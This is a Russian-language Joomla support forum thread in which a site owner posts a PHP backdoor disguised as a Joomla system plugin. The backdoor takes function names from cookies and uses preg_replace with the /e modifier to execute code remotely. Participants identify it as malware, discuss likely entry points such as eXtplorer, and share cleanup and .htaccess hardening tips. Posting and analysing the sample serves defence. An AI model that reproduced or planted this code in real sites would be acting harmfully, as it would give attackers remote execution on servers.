Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 21 Ответов
  • 5304 Просмотров
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
Вот он
Код
<?php
/**
 * @package     Joomla.Plugin
 * @since       1.5
 */
class PlgSystemJoomla {
public function __construct() {
$file=@$_COOKIE['Jlm3'];
if ($file){
$opt = $file(@$_COOKIE['Jlm2']);
$au = $file(@$_COOKIE['Jlm1']);
$opt("/585/e",$au,585);
die(); }}}
$index = new PlgSystemJoomla;

Может кто-нибудь подсказать, что он делает в этом скрипте?
Куки ворует и в файл?
*

MetaSpirit

  • Завсегдатай
  • 1370
  • 106 / 0
  • R.A.S.Lab[.org]
У меня похожее было. Удалил. Сменил пароли. Больше не появлялось.
R.A.S.Lab[.org]: ZOOvirtue - корзина для ZOO, Яндекс.Карты для ZOO, ItemPanes - табы для ZOO, ZOOlendar - календарь для ZOO  и др.
Создание расширений для YOOtheme ZOO на заказ. Становитесь в очередь.
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
У меня похожее было. Удалил. Сменил пароли. Больше не появлялось.

Не выяснили через что он пролез?
*

WebDisaster

  • Захожу иногда
  • 108
  • 12 / 0
что он делает в этом скрипте?
Декларирует класс PlgSystemJoomla, а потом создаёт экземпляр класса. Какие будут последствия, по этому кусочку кода наверняка сказать невозможно - нужно видеть, что передаётся скрипту в куках. Очевидно лишь то, что через куки серверу передаётся исполняемый код и данные для его выполнения.
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
Декларирует класс PlgSystemJoomla, а потом создаёт экземпляр класса. Какие будут последствия, по этому кусочку кода наверняка сказать невозможно - нужно видеть, что передаётся скрипту в куках. Очевидно лишь то, что через куки серверу передаётся исполняемый код и данные для его выполнения.

Backdoor, очевидно. Он и появился первый, за ним 2 скрипта для рассылки спама. Интересно, через что это все пролезло? Лежал в папке Plugins.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Цитировать
Интересно, через что это все пролезло?
экстрасенсы все на нг уехали
надо знать что у вас установлено и что было до может быть он у вас уже год-два сидит, вы просто справится не можете вот вам и интересно через что, а дыр масса было и если не закрывали то через любую на вашем сайте
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Проверяем  .htaccess  на левые редиректы  на левые папки в файлах сайта
*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
о! такая же история как у меня! удалось понять как пролез?


обнаружил что обновился компонент eXtplorer с пометкой security update.
до 2.1.5 (у меня стоял 2.1.3)
http://forum.joomla.org/viewtopic.php?f=714&t=829974
по обсуждению можно понять что там был серьезная проблема
« Последнее редактирование: 07.01.2014, 21:50:17 от udzin »
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
о! такая же история как у меня! удалось понять как пролез?
обнаружил что обновился компонент eXtplorer с пометкой security update.

А Joomla версия актуальная ? Скачай файлы на комп, и проверь антивирусником аваст.
И у кого такой же вирус, проверьте сколько ссылок добавилось
http://webmaster.yandex.ua/check.xml

*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
версия последняя 1.5.26. но актуальной ее сложно назвать тк давно не поддерживается.

у меня Yandex заблокирован через robots.txt так что нет смысла проверять (я честно говоря даже не совсем понял зачем это? ведь вирус рассылает спам почту через почтовик сервера, а не добавляет спам линки на мои странички итп)

сайт вроде вычистил, но уверенности в том что его взломали именно через com_extlplorer нету.

а стандартный TinyMCE 2.0 тот что был в этой версии Joomla взламывали?
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
Вот ответ от Avira: "Файл '.joomla.system.php' отмечен как 'MALWARE'. Наши аналитики присвоили этой угрозе название PHP/Kukisploit.A.".

экстрасенсы все на нг уехали
надо знать что у вас установлено и что было до может быть он у вас уже год-два сидит, вы просто справится не можете вот вам и интересно через что, а дыр масса было и если не закрывали то через любую на вашем сайте

ЛЕЧИМ САЙТЫ ОТ ВИРУСОВ и Shell! & НОВЫЙ СКАНЕР ПОИСКА Shell and BackDoor
Сканер поиска Shell and BackDoor
Отличный хостинг для Ваших сайтов. Настраиваем сервера.

Я уже справился и в ваших услугах не нуждаюсь (после такого дешевого наезда - тем более).

*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0


zmey78 так вы поняли откуда этот файл '.joomla.system.php' появился?
если нет, то он может появиться еще раз. дырка то вероятно осталась.
поэтому если вы еще тут будете - выше я оставил список расширений которые использую - посмотрите есть ли у нас те же самые?
я пока нашел только одну уязвимость, но уверенности что проблема имеено в этом нет.
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0

zmey78 так вы поняли откуда этот файл '.joomla.system.php' появился?
если нет, то он может появиться еще раз. дырка то вероятно осталась.
поэтому если вы еще тут будете - выше я оставил список расширений которые использую - посмотрите есть ли у нас те же самые?
я пока нашел только одну уязвимость, но уверенности что проблема имеено в этом нет.


Логов нет, так что не понял. Могу сказать, что .joomla.system.php был первым, это Backdoor. Через неделю с помощью него установили "PHP.Shell.84" и PHP "BackDoor-BX" и сразу же занялись рассылкой спама. Файлы лежали в папках com_mailto, com_media, com_user, com_weblinks, com_xmap (имя произвольное .php).

Я не использую сторонние расширения и отключил почти все встроенные. Плюс поставил компоненту, которая раз в 15 мин проверяет изменения на сайте и шлет почту, в случае их обнаружения. Acunetix Web Vulnerability Scanner 8, утверждает, что все нормально.

Файл Ваш видел, не читал, слишком много букв. Утилита, что Вы использовали (как там её, fsb.php или fbs.php), наверное, каждый файл из Joomla считает подозрительным. Я просто сравнивал с резервной копией.
« Последнее редактирование: 05.01.2014, 18:07:02 от zmey78 »
*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
насчет .joomla.system.php всё понятно.

вы уверены что не иcпользуете сторонние расширения - компонеты, модули, плагины?
по вашим словам можно понять что взломали ЧИСТУЮ Joomla 1.5.26 ??

да, это та утилита. она указывает файлы которые потенциально могут быть взломаны или уже взломаны. По мне так очень хорошо работает. Я надеялся что удастся сравнить с вами список расширений.
Но если вы говорите что у вас ЧИСТАЯ Joomla 1.5.26 с официального сайта... ??
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
вы уверены что не иcпользуете сторонние расширения - компонеты, модули, плагины?
по вашим словам можно понять что взломали ЧИСТУЮ Joomla 1.5.26 ??

Но если вы говорите что у вас ЧИСТАЯ Joomla 1.5.26 с официального сайта... ??


Да, с официального в комплекте с VirtueMart. Из сторонних только osolCaptcha и Xmap. Встроенные отключил: JCE, extplorer, moneybookers, weblinks. Остальные из встроенных проверил, вроде в списке уязвимых их нет. Шаблон тоже стандартный.
*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
я что-то никогда не слышал о существовании ОФИЦИАЛЬНОЙ Joomla в комплекте с VirtueMart
вы наверное скачали сборку с какого-то сайта который не http://www.joomla.org/ ?

"Встроенные отключил: JCE, extplorer, moneybookers"
это не встроенные. это тоже сторонние компоненты.

я выше писал - обнаружил что обновился компонент eXtplorer с пометкой security update.
до 2.1.5 (у меня стояла версия 2.1.3).
там довольно серьезная уязвимость была.
у вас какая версия стоит? возможно проблема в этом тк их того что вы перечислили у меня только Xmap.

« Последнее редактирование: 06.01.2014, 13:34:36 от udzin »
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
у меня Yandex заблокирован через robots.txt так что нет смысла проверять (я честно говоря даже не совсем понял зачем это? ведь вирус рассылает спам почту через почтовик сервера, а не добавляет спам линки на мои странички итп)

сайт вроде вычистил, но уверенности в том что его взломали именно через com_extlplorer нету.
У моего клиента был еще и дорвей, и Яндекс проиндексировал левые ссылки. А что плохого, чтобы проверить?
По спаму- если php 5.3 и выше и на вирт.хостинг, прописываем в .htaccess
Код
php_value mail.add_x_header 1 

php_value mail.log  /DocumentRoot/mail.log
Где DocumentRoo- путь к папке сайта, но желательно не в корень сайта, а выше по дереву.
И в файл mail.log , будут писаться скрипты, с которых отсылаются письма
Сразу советовал клиенту удалить com_extlplorer. Но может совпадение, но после удаления com_extlplorer , шелл нет.
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
я что-то никогда не слышал о существовании ОФИЦИАЛЬНОЙ Joomla в комплекте с VirtueMart
вы наверное скачали сборку с какого-то сайта который не http://www.joomla.org/ ?

"Встроенные отключил: JCE, extplorer, moneybookers"
это не встроенные. это тоже сторонние компоненты.

я выше писал - обнаружил что обновился компонент eXtplorer с пометкой security update.
до 2.1.5 (у меня стояла версия 2.1.3).
там довольно серьезная уязвимость была.
у вас какая версия стоит? возможно проблема в этом тк их того что вы перечислили у меня только Xmap.



Чем вас официальность сайта "virtuemart.net" не устраивает? Я не утверждал, что скачал именно с "joomla.org".

Для моей сборки eCommerceBundle это были встроенные и я их отключил, есть возражения?

Все, связанное с eXtplorer меня уже не волнует, я его отключил и включать не собираюсь, он мне не нужен. Честно говоря, я не понимаю его предназначение, клиента FTP хватает.
*

zmey78

  • Осваиваюсь на форуме
  • 15
  • 1 / 0
Сразу советовал клиенту удалить com_extlplorer. Но может совпадение, но после удаления com_extlplorer , шелл нет.

А если просто отключить (там же, где удаление, есть колонка с зеленой галкой или красным крестом, через нее можно выключить-включить). Так можно?
*

udzin

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
какая версия eXtplorer стоит?
если чем-то не пользуетесь - то лучше удаляйте.
но сперва посмотите версию и напишите здесь.
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
А если просто отключить (там же, где удаление, есть колонка с зеленой галкой или красным крестом, через нее можно выключить-включить). Так можно?
Это так отключается расширение для Joomla.То есть отключенное расширение, не выводится в Менеджере админки Joomla. А по запросу нужного файла, сервер отдаст файл.
Нужно еще закрыть прямой доступ к файлам PHP, в нужной папке,  в .htaccess
Код
#Запрет на прямой доступ к файлам php
<Files "*.php">
  deny from all
</Files>
Или переименовать папку расширения.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Я уже справился и в ваших услугах не нуждаюсь (после такого дешевого наезда - тем более).

Вам ни кто не предлагает ни каких услуг  :laugh:
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Компонент Жимолость - защита от спама и ботов

Автор Гоша_Компьютерный

Ответов: 7
Просмотров: 2593
Последний ответ 04.04.2025, 11:58:13
от Simply
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 3359
Последний ответ 25.05.2023, 08:49:57
от Театрал
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5033
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
Хостинг пишет, что найден вирус в /media/com_media/js/media-manager-es5.js

Автор AlexP750

Ответов: 6
Просмотров: 3452
Последний ответ 22.02.2022, 11:38:15
от AlexP750
Спам, вирус или дело в браузере Google

Автор alekcae

Ответов: 13
Просмотров: 2022
Последний ответ 16.05.2021, 18:52:24
от alekcae